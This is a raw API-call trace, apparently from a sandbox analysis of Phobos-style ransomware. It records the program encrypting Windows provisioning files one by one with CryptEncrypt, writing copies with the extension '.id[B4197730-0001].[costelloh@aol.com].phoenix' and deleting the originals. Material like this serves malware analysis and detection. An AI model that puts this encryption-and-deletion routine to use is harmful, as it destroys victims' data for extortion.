	[0254.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.139] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=859) returned 1
	[0254.139] CloseHandle (hObject=0x2b0) returned 1
	[0254.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.139] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.139] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.139] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.139] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.140] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0254.140] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.140] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x35b, lpOverlapped=0x0) returned 1
	[0254.142] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0254.142] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0254.144] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0254.144] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.144] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0254.144] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.144] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0254.144] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.144] CloseHandle (hObject=0x2b0) returned 1
	[0254.144] CloseHandle (hObject=0x2c8) returned 1
	[0254.144] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\541__connections_cellular_orange (equatorial guinea)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.145] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.145] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.146] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=847) returned 1
	[0254.146] CloseHandle (hObject=0x2c8) returned 1
	[0254.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0254.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.146] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.147] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.147] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.147] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.149] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151080) returned 1
	[0254.149] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.149] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34f, lpOverlapped=0x0) returned 1
	[0254.151] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0254.151] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0254.153] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0254.153] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.153] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0254.153] CryptDestroyKey (hKey=0x151040) returned 1
	[0254.153] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0254.153] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.153] CloseHandle (hObject=0x2c8) returned 1
	[0254.153] CloseHandle (hObject=0x2b0) returned 1
	[0254.153] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\542__connections_cellular_orange (equatorial guinea)_i1$(__mvid)@wap.provxml")) returned 1
	[0254.155] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.155] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.156] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0254.156] CloseHandle (hObject=0x2b0) returned 1
	[0254.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.156] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.156] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.156] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.156] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.157] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0254.157] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.157] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0254.160] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.160] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.161] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0254.161] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.161] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.161] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.161] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.162] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.162] CloseHandle (hObject=0x2b0) returned 1
	[0254.162] CloseHandle (hObject=0x2c8) returned 1
	[0254.162] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\543__connections_cellular_orange (guinea)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.163] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.163] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.164] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=721) returned 1
	[0254.164] CloseHandle (hObject=0x2c8) returned 1
	[0254.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.164] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.164] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.164] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.164] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.165] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0254.165] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.165] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d1, lpOverlapped=0x0) returned 1
	[0254.432] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0254.432] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.433] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0254.433] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.433] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0254.433] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.433] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0254.433] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.433] CloseHandle (hObject=0x2c8) returned 1
	[0254.433] CloseHandle (hObject=0x2b0) returned 1
	[0254.539] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\544__connections_cellular_orange (guinea-bissau)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.540] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.540] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.541] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=839) returned 1
	[0254.614] CloseHandle (hObject=0x308) returned 1
	[0254.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0254.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
